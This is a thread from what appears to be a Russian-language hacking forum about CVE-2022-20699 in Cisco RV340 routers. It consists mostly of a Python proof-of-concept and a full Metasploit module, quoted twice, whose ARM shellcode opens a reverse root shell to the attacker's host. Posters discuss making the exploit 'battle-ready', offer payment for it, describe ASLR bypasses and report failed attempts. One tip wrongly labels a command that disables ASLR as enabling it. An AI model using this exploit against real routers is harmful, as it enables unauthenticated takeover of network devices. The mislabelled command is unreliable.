• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote Cisco - CVE-2022-20699

Kelegen

TOXIC
КИДАЛА
Регистрация
17.08.2021
Сообщения
853
Реакции
481
Пожалуйста, обратите внимание, что пользователь заблокирован
Python:
#!/usr/bin/python3
# @FlashbackPwn @offensive_con
# https://twitter.com/jifa/status/1489971006122909704#m
# it is not well checked

import sys
import requests
import urllib3
import time
import socket


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def usage():
    print("./flashback_connects.py <TARGET>")
    sys.exit(-1)

if len(sys.argv) != 2:
    usage()

print("[x] Flashback_connects")
print("[*] Launching attack against Cisco RV340 WAN")
print("")


shellcode = b''

TARGET = sys.argv[1]
FILLER = shellcode + b'\x05' * (16400-(len(shellcode)))

#sc?### 0x704aed98
PC = b'\x98\xed\x4a\x70'

url = 'https://%s:8443/X' % TARGET
url += 'X' * (len(TARGET)-7)

payload = FILLER + PC

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
result = sock.connect_ex((TARGET, 8443))
if result == 0:
    print("[*] SSLVPND is up, ready to go!")
else:
    print("[!] SSLVPND is down. Check configuration and try again")
    sys.exit(-1)
sock.close()

while(True):
    try:
        print("[*] Attempt!")
        r = requests.post(url, data=payload, verify=False)
    except requests.exceptions.ConnectionError as e:
        print("[!] Service not available. Sleeping")
        time.sleep(10)
 
Какой пейлоад следует использовать для удачной эксплуатации? Или самописный шеллкод все-таки нужен?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
+1 поюзал что то не туда не сюда
это PoC а не боевой эксплойт, его надо допиливать
 
это PoC а не боевой эксплойт, его надо допиливать
Понять бы какой пейлоад юзать, можно было бы и допилить)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Какой пейлоад следует использовать для удачной эксплуатации? Или самописный шеллкод все-таки нужен?
Так это обычный оверфлоу, и пейлоад тут обычный с не большими загагулинами.

Готовится пейлоад на ск понял так
(смещение до EIP - (размер шеллкода)) + шеллкод + адрес шеллкода

Шеллкод может быть любым. Но под архитектуру что юзается в циске. Power PC \ MIPS \ Intel x86_x64 ...

Но вообще, данный метод не очень хорош, так как тут адрес шеллкода захардкожен.

Адрес может быть совершенно другим на другой железке.

Лучше изменить боевую нагрузку типа этого offset EIP + JMP Gadget + Nops + Shellcode в таком духе.
 
Так это обычный оверфлоу, и пейлоад тут обычный с не большими загагулинами.

Готовится пейлоад на ск понял так
(смещение до EIP - (размер шеллкода)) + шеллкод + адрес шеллкода

Шеллкод может быть любым. Но под архитектуру что юзается в циске. Power PC \ MIPS \ Intel x86_x64 ...

Но вообще, данный метод не очень хорош, так как тут адрес шеллкода захардкожен.

Адрес может быть совершенно другим на другой железке.

Лучше изменить боевую нагрузку типа этого offset EIP + JMP Gadget + Nops + Shellcode в таком духе.
Шеф напиши нам боевой вариант за монету? )))
 
Шеф напиши нам боевой вариант за монету? )))
Уже есть модуль под msf. Ссылка: https://github.com/rapid7/metasploi...31d57b0255032b9693586cb9d71602a8a824d1c7dc9b2


Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
          functionality. The default SSL VPN configuration is exploitable, with no authentication
          required and works over the Internet!
          The stack is executable and no ASLR is in place, which makes exploitation easier.
          Successful execution of this module results in a reverse root shell. A custom payload is
          used as Metasploit does not have ARMLE null free shellcode.
          This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
          2022. For more information check the referenced advisory.
          This module has been tested in firmware versions 1.0.03.15 and above and works flawlessly.
          Only the RV340 router was tested, but other RV series routers should work out of the box.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib@gmail.com>', # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'References' => [
          ['CVE', 'CVE-2022-20699'],
          ['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],
          ['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],
          ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],
        ],
        'Arch' => ARCH_ARMLE,
        # We actually use our own shellcode because Metasploit doesn't have ARM encoders!
        'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
        'Targets' => [
          [
            'Cisco RV340 Firmware Version <= 1.0.03.24',
            {
              # Shellcode location on stack (rwx stack, seriously Cisco...)
              # The same for all vulnerable firmware versions: 0x704aed98
              'Shellcode' => "\x98\xed\x4a\x70"
            }
          ],
        ],
        'DisclosureDate' => '2022-02-02',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(8443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ]
    )
  end

  def check
    # This should return a string like:
    # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
    res = send_request_cgi({ 'uri' => '/login.html' })
    if res && res.code == 200 && res.body.include?('Cisco AnyConnect VPN Client')
      Exploit::CheckCode::Detected
    else
      Exploit::CheckCode::Unknown
    end
  end

  def hex_to_bin(hex)
    if (hex.length == 1) || (hex.length == 3)
      hex = '0' + hex
    end
    hex.scan(/../).map { |x| x.hex.chr }.join
  end

  def prep_shelly
    lport_h = hex_to_bin(lport.to_s(16))

    lhost_h = ''
    datastore['LHOST'].split('.').each do |n|
      lhost_h += hex_to_bin(n.to_i.to_s(16))
    end
    lhost_h = lhost_h.force_encoding('binary')

    # armle null free reverse shell
    shellcode = "\x4f\xf0\x7f\xf5\x6f\xf0\x7f\xf5\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21" \
                "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20" \
                "\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a" \
                "\xc2\x71\x05\xb4\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +
                "\x2f\x62\x69\x6e\x2f\x73\x68\x58"
    shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']
    shelly
  end

  def sock_get(app_host, app_port)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp(
        { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
      )
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
      sock.close if sock
    end
    if sock.nil?
      fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
    end

    # also need to add support for old ciphers
    ctx = OpenSSL::SSL::SSLContext.new
    ctx.min_version = OpenSSL::SSL::SSL3_VERSION
    ctx.security_level = 0
    ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
    s.sync_close = true
    s.connect
    return s
  end

  def exploit
    print_status("#{peer} - Pwning #{target.name}")
    payload = prep_shelly
    begin
      sock = sock_get(rhost, rport)

      # We have about 130 chars of space to spend so that everything is aligned in memory.
      # Let's dump them in the URL!
      # It would be good to add some valid headers with semi random data for proper evasion :D
      #
      # NOTE: for lhost addresses X.Y.W.Z (length 7, including dots), 130 bytes as padding, 126 otherwise
      if datastore['LHOST'].length <= 7
        padding = 130
      else
        padding = 126
      end
      http = 'POST /' + rand_text_alphanumeric(padding) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"

      sock.write(http)
      sock.write(payload)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end
end
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Шеллкод может быть любым. Но под архитектуру что юзается в циске. Power PC \ MIPS \ Intel x86_x64 ...
У этих роутеров АРМ под крышкой. Раньше был Power PC.
Уже есть модуль под msf
у мсф из коробки нету нагрузки под Cisco IOS. Хотя офф доки цисков говорят - Linux.
По поводу контроллера ноль конкретики в док-ах. Но вскрыв сэмпл прошивки ( можно с офф сайта скачать ) все встанет более менее ясно.

CPUARM-based architecture, dual core, hardware flow engine
1.2 Ghz (RV340W)
900 Mhz (RV345, RV345P, RV340)
( это в документации )
Но вообще, данный метод не очень хорош, так как тут адрес шеллкода захардкожен.
хз помоему он вобще пздц. этот метот где адресс то захардкожен. похоже на защиту от дуры даже

Иными словами - чутка подумав встает несоклько вопросов ( примеров я нашел несколько )
How to calculate the exact number of NOPS and length of ESP?
Why JMP ESP instead of directly jumping into the stack?
и тд. на них для себя я уже ответил.

И далее...

Далее вспоминаем про ASLR. (Address space layout randomization)
А именно - The first thing we want to do is determine if ASLR is running on the targeted device.
We can check the status of ASLR using Raspberry PI 4B by executing the command “sysctl kernel.randomize_va_space”. A value of 2 means the ASLR feature has been enabled.
Next, we use the tool checksec to figure out what security mitigations the binary takes.
We can see there’s no PIE (position independent executable) on it. This makes it possible to defeat ASLR with ret2plt(return to Procedure Linkage Table).
[ подробнее тут - https://www.fortinet.com/blog/threa...-overflow-exploit-defeating-aslr-with-ret2plt ] там расбери-пи но это особо погоды не делает( на первый взгляд )

Defeating ASLR with ret2plt ( один из ходов, по поводу ASLR )
In the prior section, we could see that there was no PIE (position-independent executable) on the binary stack6.
That means that the mapping memory address of the image stack6 is fixed in the process space. This makes it possible to defeat ASLR with ret2plt.
The binary directly uses the function printf(), so I decided to leak the address of the function printf() in libc.so. Since we have already controlled the pc register,
we can utilize an ROP (return-oriented programming) chain to execute printf@PLT(printf@GOT) to leak the address of printf(). Both addresses of printf@PLT and printf@GOT are fixed due to there being no PIE in binary stack6.
We then use the tool Ropper to discover two gadgets in the binary stack6 that meet our requirements.

зы2 - https://azeria-labs.com/writing-arm-shellcode/
╰─тут тоже есть что почитать, про написание шеллкода для арм-ов.

ps3 - кто еще не видел, взгляните на - https://github.com/Gallopsled/pwntools
вещь в хозяйстве полезная и нужная.

Enjoy!
 
Последнее редактирование:
Далее вспоминаем про ASLR. (Address space layout randomization)
Там нет аслр,канареек,w^x и тп насколько я знаю

p.s
Судя по твиттеру эксплойт рабочий,сессия открывается.(самому что-то тестить без нужды)
 
Последнее редактирование:
Там нет аслр
It is enabled by default on kernel 2.6.12 and above. ( 2.6.12 was released June 17, 2005 ) -> https://kernelnewbies.org/Linux_2_6_12
Только если ядро совсем пздц древнее и циски совсем олени, но увы это не так.
Tips:
Check if ASLR is currently activated on the linux system:
cat /proc/sys/kernel/randomize_va_space
Activate ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space
 
Последнее редактирование:
Уже есть модуль под msf. Ссылка: https://github.com/rapid7/metasploi...31d57b0255032b9693586cb9d71602a8a824d1c7dc9b2


Ruby:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution',
        'Description' => %q{
          This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN
          functionality. The default SSL VPN configuration is exploitable, with no authentication
          required and works over the Internet!
          The stack is executable and no ASLR is in place, which makes exploitation easier.
          Successful execution of this module results in a reverse root shell. A custom payload is
          used as Metasploit does not have ARMLE null free shellcode.
          This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon
          2022. For more information check the referenced advisory.
          This module has been tested in firmware versions 1.0.03.15 and above and works flawlessly.
          Only the RV340 router was tested, but other RV series routers should work out of the box.
        },
        'Author' => [
          'Pedro Ribeiro <pedrib@gmail.com>', # Vulnerability discovery and Metasploit module
          'Radek Domanski <radek.domanski[at]gmail.com>' # Vulnerability discovery and Metasploit module
        ],
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'References' => [
          ['CVE', 'CVE-2022-20699'],
          ['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'],
          ['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'],
          ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'],
        ],
        'Arch' => ARCH_ARMLE,
        # We actually use our own shellcode because Metasploit doesn't have ARM encoders!
        'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
        'Targets' => [
          [
            'Cisco RV340 Firmware Version <= 1.0.03.24',
            {
              # Shellcode location on stack (rwx stack, seriously Cisco...)
              # The same for all vulnerable firmware versions: 0x704aed98
              'Shellcode' => "\x98\xed\x4a\x70"
            }
          ],
        ],
        'DisclosureDate' => '2022-02-02',
        'DefaultTarget' => 0
      )
    )
    register_options(
      [
        Opt::RPORT(8443),
        OptBool.new('SSL', [true, 'Use SSL', true])
      ]
    )
  end

  def check
    # This should return a string like:
    # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase)
    res = send_request_cgi({ 'uri' => '/login.html' })
    if res && res.code == 200 && res.body.include?('Cisco AnyConnect VPN Client')
      Exploit::CheckCode::Detected
    else
      Exploit::CheckCode::Unknown
    end
  end

  def hex_to_bin(hex)
    if (hex.length == 1) || (hex.length == 3)
      hex = '0' + hex
    end
    hex.scan(/../).map { |x| x.hex.chr }.join
  end

  def prep_shelly
    lport_h = hex_to_bin(lport.to_s(16))

    lhost_h = ''
    datastore['LHOST'].split('.').each do |n|
      lhost_h += hex_to_bin(n.to_i.to_s(16))
    end
    lhost_h = lhost_h.force_encoding('binary')

    # armle null free reverse shell
    shellcode = "\x4f\xf0\x7f\xf5\x6f\xf0\x7f\xf5\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21" \
                "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20" \
                "\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a" \
                "\xc2\x71\x05\xb4\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h +
                "\x2f\x62\x69\x6e\x2f\x73\x68\x58"
    shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode']
    shelly
  end

  def sock_get(app_host, app_port)
    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp(
        { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 }
      )
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError
      sock.close if sock
    end
    if sock.nil?
      fail_with(Failure::Unknown, 'Failed to connect to the chosen application')
    end

    # also need to add support for old ciphers
    ctx = OpenSSL::SSL::SSLContext.new
    ctx.min_version = OpenSSL::SSL::SSL3_VERSION
    ctx.security_level = 0
    ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
    s = OpenSSL::SSL::SSLSocket.new(sock, ctx)
    s.sync_close = true
    s.connect
    return s
  end

  def exploit
    print_status("#{peer} - Pwning #{target.name}")
    payload = prep_shelly
    begin
      sock = sock_get(rhost, rport)

      # We have about 130 chars of space to spend so that everything is aligned in memory.
      # Let's dump them in the URL!
      # It would be good to add some valid headers with semi random data for proper evasion :D
      #
      # NOTE: for lhost addresses X.Y.W.Z (length 7, including dots), 130 bytes as padding, 126 otherwise
      if datastore['LHOST'].length <= 7
        padding = 130
      else
        padding = 126
      end
      http = 'POST /' + rand_text_alphanumeric(padding) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n"

      sock.write(http)
      sock.write(payload)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
    end
  end
end
Какие порты лучше выбрать ?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Кто то еще ковыряет эту cve'шку, есть успехи ?
Ковыряю, пока никаких успехов, не срабатывает сплоит, хотя пишет что уязвимо
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх